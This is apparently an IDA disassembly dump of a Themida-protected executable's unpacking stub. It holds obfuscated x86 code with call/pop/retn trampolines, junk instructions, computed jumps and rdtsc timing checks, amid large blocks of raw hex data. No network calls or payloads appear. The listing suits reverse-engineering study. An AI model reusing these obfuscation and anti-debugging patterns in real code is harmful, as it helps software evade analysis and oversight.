dd 50000000h, 4B8h, 58C22900h, 5C241487h, 18B268h, 242C8900h
dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC812404h
dd 4, 0BA241489h, 68547B1h, 4A08E2C1h, 0C281DAF7h, 57F72432h
dd 0EA81D2F7h, 2568B4AFh, 545AD589h, 8124048Bh, 4C4h, 0B9515500h
dd 31A6706Dh, 4244C01h, 8408F59h, 6D086881h, 8B31A670h
; ---------------------------------------------------------------------------
add al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_58A287
; ---------------------------------------------------------------------------
sbb byte ptr [edi], 0F8h
jmp short near ptr word_5C09BA
; ---------------------------------------------------------------------------
std
loc_5C0962: ; CODE XREF: Themida_:loc_5BFC35j
mov eax, 7E7E433h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
mov edx, 40369FA1h
ficom word ptr [bp+si]
db 64h
popf
imul dword ptr [edx]
jmp short loc_5C09C8
; ---------------------------------------------------------------------------
byte_5C0979 db 8Fh, 1Ch, 25h ; DATA XREF: Themida_:00585604o
dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h
dd 43A7CAh, 0DC80BA9Fh, 0
dd 0FEB51B54h, 0FE330000h
db 0FBh, 0
word_5C09BA dw 0 ; CODE XREF: Themida_:005C095Fj
dword_5C09BC dd 52DDB487h, 9ED92023h, 7C809E01h; ---------------------------------------------------------------------------
loc_5C09C8: ; CODE XREF: Themida_:005C0977j
jmp loc_5C1CDC
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5C09D8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C09D8 proc near ; CODE XREF: Themida_:005C09D0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C09D8 endp
; ---------------------------------------------------------------------------
dd 6B7176E4h, 0E94626B2h, 5, 1219D1BEh
; ---------------------------------------------------------------------------
cli
loc_5C09F9: ; DATA XREF: Themida_:005832B0o
cmp dword ptr [ebp+7E42015h], 0
jnz loc_5C0A66
push 0
push esi
call sub_5C0A11
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0A11 proc near ; CODE XREF: Themida_:005C0A09p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C0A11 endp
; ---------------------------------------------------------------------------
db 0EAh, 94h, 7Fh
; ---------------------------------------------------------------------------
cmpsd
dec ebx
lodsb
popa
mov eax, 0
push 0
push ebx
call sub_5C0A38
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0A38 proc near ; CODE XREF: Themida_:005C0A30p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5C0A38 endp
; ---------------------------------------------------------------------------
dd 0E5D0494Ah, 820F067Ah, 6, 2BE9958Bh, 4C207E4h, 38F0F00h
dd 66000000h
; ---------------------------------------------------------------------------
mov edx, ecx
loc_5C0A66: ; CODE XREF: Themida_:005C0A00j
mov eax, eax
sub [ebp+7E42A21h], esi
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5C0A80
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5C0A93
loc_5C0A80: ; CODE XREF: Themida_:005C0A75j
push eax
push ebx
mov eax, eax
mov eax, 4D0h
lea ebx, [ebp+7E6E7C4h]
call ebx ; _iob
pop ebx
pop eax
loc_5C0A93: ; CODE XREF: Themida_:005C0A7Ej
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5C0AAD
push eax
push ebx
mov eax, 4D0h
lea ebx, [ebp+7E6E711h]
call ebx ; _iob
pop ebx
pop eax
loc_5C0AAD: ; CODE XREF: Themida_:005C0A9Aj
push 0
push edi
call sub_5C0AB8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0AB8 proc near ; CODE XREF: Themida_:005C0AB0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C0AB8 endp
; ---------------------------------------------------------------------------
dd 63AE3C4Dh, 108AF5A2h, 4FE98022h, 0D2F78166h, 57006ACDh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0CA7726A5h, 8B848F31h, 8B8AB9C0h, 858D62BAh, 7E7E531h
dd 3758589h, 509007E4h, 0AE8h, 0C51D4800h, 754D3FE9h, 6096DF3Ah
dd 6E9h, 13E63200h, 0B849963Bh, 77C4F720h, 23905A61h, 0E41DE9BDh
dd 0EE858D07h
dword_5C0B3C dd 6A07E7E4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
; DATA XREF: Themida_:005857DCo
dd 1C042444h, 43000000h, 50C4C353h, 7B2F2A7h, 5345BD82h
dd 6AF8BA66h, 66609059h, 618366BEh, 90F48A50h, 8A1BCA81h
dd 85891EF6h, 7E43179h, 17DD95FFh, 0CA8107E4h, 5D83452h
dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0DDC35040h, 0A3C5EFD5h, 0FAB70F60h, 61F28B66h
dd 0E5198589h, 13E807E7h, 4B000000h, 0D6B88545h, 0F3874B80h
dd 0C54E937Dh, 4D4C64DCh, 8D016D34h, 7E42D35h, 24448B5Fh
dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0AB23D44Dh, 0E89F1B7Dh, 99BD8962h, 6607E41Eh
dd 7EF3DA81h, 0E52D8589h, 0B96607E7h, 0BD83360Fh, 7E42635h
dd 0D7850F00h, 80000000h, 85C6D8F6h, 7E42C2Dh, 52006A47h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 7AA6108Eh, 3622D379h, 98206868h, 0BA5250A5h, 61F0131Dh
dd 0AE8310Fh, 0AC000000h, 2DC7862Bh, 3C307880h, 0FB96623h
dd 585A593Ch, 0BA243481h, 6A710287h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9C4BC351h
dd 950164ABh, 7E431DDh, 3860Fh, 0BF0F0000h, 41B5FFCEh
dd 8D07E421h, 0E7B0A785h, 0E8D0FF07h, 12h, 51D9A591h, 1BCA01B0h
dd 0B498EF72h, 9FAC0999h, 0BD899CB3h, 7E4056Dh, 3585895Ah
dd 6A07E426h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 83A1C356h, 0BD83D30Bh, 7E41B81h
dd 0B6850F00h, 0F000000h, 1F86h, 19870F00h, 0E9000000h
dd 14h, 580E554Dh, 0CD379E72h, 7F85C2AEh, 67CA456Eh, 62EC2544h
dd 2C2D85C6h, 534707E4h, 34685AFCh, 0B6519ECFh, 240481B5h
dd 3870E6AEh, 0B15958Bh, 0B5FF07E4h, 7E42141h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 0ABC89AB3h
dd 0A7858DA0h, 8907E7B0h, 0E41569B5h, 8E807h, 7D6D0000h
dd 0C2EE143Dh, 0D38B9645h, 6AD0FF59h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89F4C351h
dd 0E4027995h, 81858907h, 8B07E41Bh, 0E42F6D8Dh, 35BD8307h
dd 7E41Fh, 0ED850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 7F1C60C3h, 0C9F0B87Fh
dd 0E915DF0Fh, 7, 70DB12A0h, 0C6796580h, 0E42C2D85h, 8A0F5607h
dd 3, 68FEBF0Fh, 69FDE19Bh, 10E95250h, 9000000h, 5B3892CEh
dd 5A0EB91h, 0DB042EA4h, 0F588832h, 81585A31h, 8B9E2404h
dd 81666A21h, 0FF2D42F2h, 0E42141B5h, 858DF807h, 7E7B0A7h
dd 0C8D0Fh, 870F0000h, 6, 2DF2C281h, 0D0FF6344h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h, 0BCF261B5h
dd 360C10D4h, 0D18D3381h, 8B07E40Dh, 0E419498Dh, 35858907h
dd 6A07E41Fh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0FE7C350h, 687h, 28F18100h, 0C6356062h
dd 0E42C2D85h, 8D236C07h, 7E41BE1h, 0F9CCDB68h, 816160A1h
dd 0A3A82404h, 6A390Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0FF44BDC3h, 0E4019DB5h, 0FE907h
dd 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah, 8850F1Bh
dd 60000000h, 0FD1BF0Fh, 8D61DEB7h, 0E43BDC85h, 0FE907h
dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h, 6AD0FF3Ch
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 1D1C353h, 8003A219h, 85897CE1h, 7E7E51Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h
dd 0C4CA9019h, 8AD18B66h, 39BD83CBh, 7E7E5h, 0DF850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0E298ADC3h, 9E8B3h, 6A60000h, 85A800A6h
dd 6089C62Dh, 12E9h, 61E9CF00h, 0AB2903DEh, 98489A33h
dd 0ADB964B7h, 6047A9E4h, 0C65A6161h, 0E42C2D85h, 8D8B4907h
dd 7E42321h, 0DE9h, 3784C000h, 7973563h, 0B9ABFF91h, 0D168DE5Ah
dd 0F0E8D2Ah, 886h, 8F0F6000h, 0
; ---------------------------------------------------------------------------
popa
add dword ptr [esp], 7D87FF18h
jb loc_5C101C
mov dl, cl
loc_5C101C: ; CODE XREF: Themida_:005C1014j
push dword ptr [ebp+7E4019Dh]
or [ebp+7E41DE5h], ebx
lea eax, [ebp+7E43BDCh]
movzx ecx, cx
call eax
and edx, 4B460114h
mov [ebp+7E7E539h], eax
push 0
push ebp
call sub_5C104A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C104A proc near ; CODE XREF: Themida_:005C1042p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5C104A endp
; ---------------------------------------------------------------------------
dw 0CA6Dh
; ---------------------------------------------------------------------------
lahf
sub ecx, 0EBC7E413h
cmc
jmp loc_5C1071
; ---------------------------------------------------------------------------
db 0D4h, 69h, 3Eh
dd 424CA399h
db 1Dh
; ---------------------------------------------------------------------------
loc_5C1071: ; CODE XREF: Themida_:005C1064j
push 4
mov ch, 0DEh
call sub_5C107E
add [eax], dl
; ---------------------------------------------------------------------------
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5C107E proc near ; CODE XREF: Themida_:005C1075p
var_4 = dword ptr -4
mov edx, 601EB2C8h
push eax
mov edx, 74614CE6h
mov eax, [esp+4]
push eax
push edx
rdtsc
pusha
push eax
push edx
rdtsc
pop edx
pop eax
push ecx
pop ebx
popa
pop edx
pop eax
mov eax, [eax]
mov di, 6C78h
mov [esp+4], eax
pop eax
mov [ebp+7E42C0Dh], esi
push 6BC12884h
push eax
mov dl, 0C0h
pop ecx
xor [esp+4+var_4], 6BC02884h
push 0
push edx
call sub_5C10C9
and [edx-3Dh], bl
sub_5C107E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C10C9 proc near ; CODE XREF: sub_5C107E+43p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C10C9 endp
; ---------------------------------------------------------------------------
mov al, ds:5EB1E5F2h
push 0
jmp loc_5C10EF
; ---------------------------------------------------------------------------
db 8Bh, 2, 4Bh
dd 7EED53F9h
db 2Dh, 71h, 70h
; ---------------------------------------------------------------------------
loc_5C10EF: ; CODE XREF: Themida_:005C10E0j
call dword ptr [ebp+7E423E1h]
push 0
push edi
call sub_5C1100
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1100 proc near ; CODE XREF: Themida_:005C10F8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C1100 endp
; ---------------------------------------------------------------------------
dec edi
sbb al, 1Ch
pop ebx
and eax, 0B55F899h
push ebx
mov dl, 4Ch
pop ecx
mov [ebp+7E7E529h], eax
push 0
push ebp
call sub_5C112E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C112E proc near ; CODE XREF: Themida_:005C1126p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C112E endp
; ---------------------------------------------------------------------------
dw 96BDh
dd 0EE9358Bh, 0DB000000h, 9D4901A1h, 0BA900ADh, 6950E671h
dd 2185C7C2h, 7E7E5h, 66000000h, 6AEE8ABFh, 2BB96600h
dd 713168CCh, 3481033Dh, 3C713124h, 0DF816603h, 8B905208h
dd 0BA6650F9h, 6A909FC7h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0FE1CC357h, 1B8BEC9Ch
dd 9D8934B5h, 7E40E99h, 0E1C98166h, 6A0B6A7Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 749DC353h, 743A88D4h, 0D9BD8B5Bh, 8D07E42Ah, 0E7E4F685h
dd 0FFB70F07h, 810F90h, 50000000h, 2990CA8Bh, 0E4258D95h
dd 3595FF07h, 6A07E426h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 8101C353h, 89CA8B66h
dd 0E4246D85h, 0B58D07h, 6A07E7E5h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0B07C355h
dd 0E4245995h, 0FA8B9607h, 3820F50h, 66000000h, 6A96CA8Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 97B6C351h, 89F0F88Eh, 0CDCE6FB9h, 19BD033Dh
dd 0BA07E423h, 345FACE6h, 58C0F90h, 0BF000000h, 491EF6F6h
dd 12BA6650h, 6A90C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 2400D2C3h, 892E7248h, 0E40DB9BDh
dd 13E907h, 0ADAE0000h, 210316D3h, 0B86C0DCFh, 0EF686B57h
dd 33A81DEh, 0BE9E5h, 50680000h, 1D67495Bh, 97EE631Ah
dd 8195FFF6h, 0F07E41Bh, 0C00BF8BFh, 55850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 5297EAC3h, 819E5EC0h, 27F40CEFh, 753E92Ah, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0E96A70C3h, 7, 6448D630h, 0FF8EB1E8h, 0FDBD8BD0h, 8B07E41Ah
dd 0E7E529B5h, 6DBD2907h, 2B07E432h, 0E405F9BDh, 20468D07h
dd 46AFB8Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0A9C35545h, 0FC62586h, 81h, 0BE85000h
db 3 dup(0)
byte_5C139B db 32h ; DATA XREF: Themida_:00582624o
dd 35C98645h, 3E859BB5h, 895FAB1Dh, 958B2404h, 7E40D51h
dd 0E53995FFh, 0B96607E7h, 0C00B3ED3h, 24840Fh, 0B1600000h
dd 0DE99Ch, 0A10000h, 63F38D1Dh, 836F1A51h, 61205BF9h
dd 69CE9h, 3840F00h, 0F000000h, 7E80D0B7h, 840F0020h, 689h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h
dd 1CE18D2Bh, 6A6007E4h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 7E4DC357h, 66C3D68Dh
dd 0BB4EC981h, 6860Fh, 95290000h, 7E42491h, 6A20468Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0B0B9C353h, 0EC0E61B9h, 89EE8ABAh, 62CA8049h
dd 0E5258589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0A784B0C3h, 0A04AA276h, 0BD89B22Ah
dd 7E40199h, 134E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0B3DA1FD4h, 40D3BF0Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D4C35040h
dd 0CF374063h, 66A58143h, 0BA50D68Bh, 49795846h, 8B240489h
dd 6A046AFEh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 4633C350h, 3351C570h, 0E413C58Dh
dd 84BA5F07h, 901C4D40h, 10E9h, 74484600h, 0C5CF7D1h, 0DF4B38A2h
dd 67319271h, 0BB6050B5h, 79B1C311h, 61DE8B66h, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 6B811153h, 3230BA66h, 0E53995FFh, 8D3107E7h, 7E41C05h
dd 5158D88Bh, 12A99D29h, 0B5907E4h, 4E840FDBh, 0E9000000h
dd 10h, 51B2CCA9h, 0C40E09DBh, 2E818A0Ch, 0F10A859Fh, 4D4E9h
dd 8B606000h, 0F59589C7h, 6107E40Eh, 2F9DB58Bh, 526107E4h
dd 1A890Fh, 14E80000h, 0EB000000h, 6570A636h, 8C425529h
dd 0FD98B9Ah, 482BEE6Fh, 5FB6ADA3h, 388059h, 0FEE5850Fh
dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 390ADDC3h, 0E52BE12Ah, 89E82363h, 0E4264195h
dd 19E907h, 8A0F0000h, 0Ch, 68E0Fh, 880F0000h, 0
; ---------------------------------------------------------------------------
loc_5C1624: ; CODE XREF: Themida_:005C1657j
dec eax
or ecx, [ebp+7E426BDh]
cmp eax, [ebp+7E7E525h]
jb loc_5C168B
pusha
mov ebx, [ebp+7E402E1h]
mov [ebp+7E42525h], ecx
popa
cmp byte ptr [eax], 5Ch
jz loc_5C168B
mov ecx, [ebp+7E41FD9h]
cmp byte ptr [eax], 2Fh
jnz loc_5C1624
push 0
push eax
call sub_5C1668
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1668 proc near ; CODE XREF: Themida_:005C1660p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C1668 endp
; ---------------------------------------------------------------------------
dd 0A285C76Eh, 0F8A7A677h, 81566F23h, 97F039D9h
db 6Ch, 5Fh, 0F5h
; ---------------------------------------------------------------------------
loc_5C168B: ; CODE XREF: Themida_:005C1631j
; Themida_:005C1648j
inc eax
push 0
push ebp
call sub_5C1697
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1697 proc near ; CODE XREF: Themida_:005C168Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C1697 endp
; ---------------------------------------------------------------------------
db 2Dh
dd 60340172h, 156D9501h, 6ABF07E4h, 6157B8AEh, 76F0BF66h
dd 0E52DBD83h, 0F0007E7h, 1DD84h, 418D2900h, 9007E425h
dd 8B525050h, 50310FF8h, 0E9310F52h, 11h, 841D01EDh, 56C239B2h
dd 0B895075Bh, 0A205AEC6h, 5A585AF7h, 6A9058h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 2700CBC3h, 0BD897DF5h, 7E423F1h, 0E52D8503h, 8D0307E7h
dd 7E403C5h, 24048950h, 1D1D9D29h, 46A07E4h, 0F32BB8B9h
dd 6E89033h
db 3 dup(0)
byte_5C173F db 9Fh ; DATA XREF: Themida_:00584B2Co
dd 5C23F73Eh, 59FA8BB8h, 0BF525050h, 5A271CD2h, 6060310Fh
dd 585A6161h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0F90C492h, 8ADC43BCh, 0A18D89F1h
dd 8107E426h, 510FB2CAh, 3995FF35h, 6A07E7E5h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 8524C352h, 0D1EC2261h, 8D8BF3BFh, 7E41C15h, 1B499D89h
dd 0D88B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0D9C35747h, 4A9339E5h, 6613D937h, 58E6FEBFh, 0FDB0BF8h
dd 6084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 7C3B613Ch, 666F87E7h, 0F834C181h
dd 4798D33h, 56E907E4h, 6A000002h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4528C353h
dd 268F0344h, 6800F59h, 89000000h, 0E4036D8Dh, 0C607h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ABC35545h
dd 0E1B7EB3Eh, 958B3F2Eh, 7E4321Dh, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6732E88Fh
dd 0B369137Ch, 8904F281h, 66900B63h, 8B50D68Bh, 0DE990D6h
dd 0A6000000h, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 6A1E6Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0C757B4C3h, 5E9h, 9C793D00h, 840FC931h, 5, 0CA6962B9h
dd 0CE95054h, 0C000000h, 0A008D39Fh, 6C3AD078h, 89D7163Fh
dd 81662404h, 0FF0A16C9h, 0E7E53995h, 0C880F07h, 0E9000000h
dd 7, 175C10C4h, 8BC7F997h, 53006AD8h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0C2A5C05Fh
dd 0FB5E78Ah, 1280h, 0DE900h, 765E0000h, 7832EB3Bh, 0C74F99D2h
dd 58529DACh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 4DC35040h, 64DE0831h, 89344936h, 0FDB0B03h, 3284h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0E9684C11h, 0C5h, 9810Fh, 0F5600000h, 13A98D01h
dd 506107E4h, 39B864BAh, 24048905h, 0B5FFFA8Bh, 7E7E519h
dd 0BAFA8B66h, 525056D0h, 0E51D95FFh, 958B07E7h, 7E40B1Dh
dd 850FC00Bh, 53h, 7E8h, 161C6900h, 0DDFEBFE6h, 56FFB966h
dd 13E86159h, 1000000h, 0F7E65ED8h, 6E8CF65Bh, 0EEC6F854h
dd 0DA1C8D1Ch, 0E180AC92h, 0BE95FCCh, 0C000000h, 0FA4C1BECh
dd 794EBF76h, 85C7A74Fh, 7E7E521h, 1, 0B15B589h, 36E907E4h
dd 61000000h, 12810Fh, 0DE90000h, 0C3000000h, 85EA17D9h
dd 0B0505797h, 89357576h, 11CC681h, 95890000h, 7E43029h
dd 6F98589h, 0F6E907E4h, 9FFFFF8h, 0E4013995h, 654E6807h
dd 0AE94B0Eh, 16000000h, 79D2987Dh, 8967C5BBh, 2434816Ch
dd 4B0EE54Eh, 148D8D09h, 958907E4h, 7E40111h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0B80C12C3h, 11496DF7h, 0B2EE33BFh, 29B5FF11h, 2907E7E5h
dd 0E4183D9Dh, 3595FF07h, 8007E41Fh, 858B02D9h, 7E7E521h
dd 7098D89h, 0E89007E4h, 7, 0D7DFDFBh, 5048EFA2h, 860F52h
dd 0F000000h, 0F525031h, 5A585A31h, 50505958h, 0FD18B52h
dd 6BF6631h, 90585A0Ch, 8DD7BF0Fh, 0E7E53185h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0C370B4A1h, 0ECC70F21h, 0F58D8B04h, 9007E42Ch, 198E0Fh
dd 14E90000h, 28000000h, 19AF0878h, 8C4CA90h, 0CBE583FBh
dd 0AB312E3Bh, 5039639Bh, 8B665250h, 60310FD6h, 5A616160h
dd 0BD299058h, 7E4006Dh, 0E4EE858Dh, 0BF6607E7h, 8950D852h
dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0D00BC2C3h, 69FF5F37h, 66572AE7h, 0FF59CE8Bh
dd 0E40B8195h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 0C182235Dh, 6AC08Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 5F9860C3h, 0F88B6656h, 13F1BD83h, 750007E4h, 35BD8309h
dd 7E409h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6E82B9Dh
dd 5BD3FF07h, 35BD8358h, 7E409h, 53501174h, 4D0B8h, 2A9D8D00h
dd 0FF07E6E7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 1ECEC352h, 0EA91F8E5h
dd 0E626D2BFh, 271958Bh, 0C08B07E4h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 6DC35545h, 9187C9F8h, 0B70F9A7Fh
dd 6A58D0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 875905C3h, 59310C61h, 0FA8B660Bh, 6A0008C2h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 88B3C350h, 0D85EB253h
; ---------------------------------------------------------------------------
loc_5C1CDC: ; CODE XREF: Themida_:loc_5C09C8j
mov eax, eax
push 0
push esi
call sub_5C1CE9
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1CE9 proc near ; CODE XREF: Themida_:005C1CE1p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C1CE9 endp
; ---------------------------------------------------------------------------
db 68h, 71h, 25h
dd 12E9B7h, 5EA90000h, 77E4C385h, 0B34292A8h, 2E9134D1h
dword_5C1D10 dd 0EFCDFE2Fh, 0E56E858Dh, 0FA8B07E7h, 0E258589h, 39EB07E4h
; DATA XREF: Themida_:00583E40o
dd 0CB0000h, 0CB02CCh, 0CB02E4h, 0
dd 44E8E2E2h, 75F1EE0Ch, 21E0E6CCh, 4CEBE2A5h, 4DE1A504h
dd 75CB8BD8h, 21C9C71Eh
dword_5C1D50 dd 51CAFF63h, 49D1E5F3h, 45E4EE39h, 0AA70EBA5h, 7485E112h
; DATA XREF: Themida_:00582E14o
; Themida_:005838F8o
dd 21858881h, 0E2D8ABB4h, 5E90207h, 5C10A29h, 21859392h
dd 0E2D0CE4Bh, 5DBC6F58h, 7F420A2Fh, 0A2E73FCAh, 0C5967A09h
dd 28F08B5Dh, 28B036AEh, 55858C72h, 0AAD6DB52h, 253C3365h
dd 0A40C8BD2h, 26619F10h, 0C8751639h, 0F27A8CBCh, 9C06D376h
dd 266182A3h, 7192FF4Bh, 253C33F6h, 0A40C8BD2h, 26619F10h
dd 0C75A1639h, 0F27A8CBCh, 0ACB4D376h, 26618BB3h, 0C9D78B21h
dd 21858BA6h, 7B46D1F2h, 25A1DFE0h, 25A1CF35h, 21858B42h
dd 0F246D96Fh, 4166757Bh, 21EF4BC0h, 218663F5h, 79A58BD2h
dd 650CD3AAh, 65048F90h, 21988F7Eh, 71C58B2Dh, 0F719A355h
dd 0DD3B9E57h, 2ED5A8EEh, 21858753h, 27028469h, 8858BB4h
dd 0C58BB6D7h, 0C004D2Ah, 77826FBAh, 2B4416C2h, 0E7ED8C41h
dd 0AAB81808h, 5810AB9h, 7E915638h, 218580B3h, 3775B42Dh
dd 462402C4h, 0EADD266Eh, 0C43E5Ah, 9C0E8C36h, 26618E7Ch
dd 91220E39h, 94848CBDh, 2661AAB0h, 0AB8A5B69h, 21858B4Ch
dd 21840FAAh, 12798BD2h, 0C5A372DCh, 4B81E1B3h, 226DD85Ah
dd 1858B2Dh, 0A8DE48CDh, 0A081AF17h, 3A81AFE1h, 62858BD2h
dd 5466483Ah, 643D91C4h, 0D0EDF08Eh, 0C8C04FF9h, 21858B98h
dd 0D840A641h, 900738A0h, 72B14072h, 150499D7h, 0E5417A90h
dd 7285E11Fh, 218588C5h, 0E2DEAB96h, 5D90210h, 5C10AA1h
dd 21859ED6h, 0E2D6C869h, 9C0CD0DCh, 2661A903h, 0D60EED7Eh
dd 39CAE3CCh, 2A6DD1C4h, 0E9858BA5h, 4C2D33D5h, 0BEE2E02Dh
dd 2ED696F0h, 21858BDDh, 0A0DAD22Dh, 3B26AFA2h, 0BC0CD1C4h
dd 26618250h, 21EF8BB8h, 21866338h, 78A58BB4h, 6D0CD299h
